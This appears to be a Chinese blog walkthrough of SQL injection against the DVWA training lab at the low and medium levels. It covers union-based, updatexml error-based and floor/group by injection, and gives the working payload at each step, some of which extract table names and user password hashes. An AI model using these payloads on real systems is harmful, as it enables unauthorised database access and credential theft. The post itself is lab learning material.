Dvwa sql low 联合注入,报错注入

Dvwa sql low 联合注入,报错注入

\1. 判断注入点

输入1,数据正常显示,输入1',页面显示爆错,1附近多出现了一个逗号

\2. 判断注入类型

?id=1' and 1=1 # 正常显示数据,

?id=1' and 1=2 # 页面不显示数据,也不会报错

判断 low级别的注入是字符型

\3. 判断字段数

? Id=1' order by 3 #

?id=1' order by 2 # 页面显示正常

\4. 找出注入点

Payload :

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+1%2C2%23&Submit=Submit#

\5. 爆出表名

Payload:

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

\6. 爆出字段名

Payload:

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#

\7. 爆出敏感数据

Payload:

-1' union select 1,group_concat(user,password) from users#

Dvwa medium

\1. 判断注入点

抓到提交的包,上传到repeater

输入单引号,页面出现爆错,

\2. 判断注入类型

? Id=1 and 1=1 页面显示正常

? Id=1 and 1=2 页面无显示

判断是数字型

\3. 判断注入字段数

?id =1 order by 3 #

\4. 爆出库名

Payload: id=-1 union select database(),version()

\5. 爆出表名

Payload:

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

\6. 爆出列名

这里发现单引号出现过滤,我们尝试16进制编码来进行绕过

Payload:

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273

\7. 爆出数据

Payload:

id=-1 union select 1,group_concat(user,password)from users&Submit=Submit

Dvwa low medumn

\1. 判断注入点,

输入单引号,发现页面报错,可进行报错注入

Payload:

id=-1 and updatexml(1,concat(0x7e,database()),1)

\2. 爆出表名

Payload:

id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

\3. 爆出列名

Payload:

id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),1)&Submit=Submit

发现只能爆出一些列名

尝试使用limit函数进行测试

Payload:

id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1)),1)

发现还是只能出现一点点数据,调整limit的数量还是只能一点点

Dvwa low

尝试使用floor函数和group by 进行报错

原理:通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。group by 语句报错的原因

是 floor(random(0)*2)的不确定性,即可能为 0 也可能为 1

group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,

如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果

该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算

rand 值)如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临

时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,就

会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值

实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行

时是不报错的。

Payload:

1' union select count(*),concat(floor(rand(0)*2),database())fannn from information_schema.tables group by fannn #

参考链接:SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园 (cnblogs.com)

om information_schema.tables group by fannn #

外链图片转存中...(img-WpMKvPvf-1710557932658)

参考链接:SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园 (cnblogs.com)

相关推荐
德迅云安全杨德俊1 小时前
安全加速SCDN防护原理及其与DDoS攻击的协同防御策略方案
安全·web安全·https·ddos
蜂蜜黄油呀土豆1 小时前
深入了解 JWT:无状态认证与集群部署的解决方案
web安全·jwt·token
独行soc1 小时前
2026年渗透测试面试题总结-5(题目+回答)
android·网络·python·安全·web安全·渗透测试
上海云盾安全满满1 小时前
入侵防御系统与入侵检测系统的核心区别
网络·安全·web安全
薛定谔的猫喵喵3 小时前
【从零构建】PHP网络安全渗透测试靶场:5大基础漏洞实战
windows·sql·web安全·php
菩提小狗3 小时前
小迪安全2023-2024|第102天:漏洞发现-漏扫项目篇&Poc开发&Yaml语法&插件一键生成&匹配结_笔记|web安全|渗透测试|
笔记·安全·web安全
不灭锦鲤16 小时前
每天看一种漏洞类型,oss存储桶
安全·web安全
乾元1 天前
数据为王——安全数据集的清洗与特征工程
大数据·网络·人工智能·安全·web安全·机器学习·架构
Kapibalapikapi1 天前
思考笔记 | 为什么需要“获取CDN后面的真实IP”
笔记·web安全·思考记录
无名的小三轮1 天前
华为eNSP中USG6000防火墙web界面登录设置
网络·笔记·安全·web安全·华为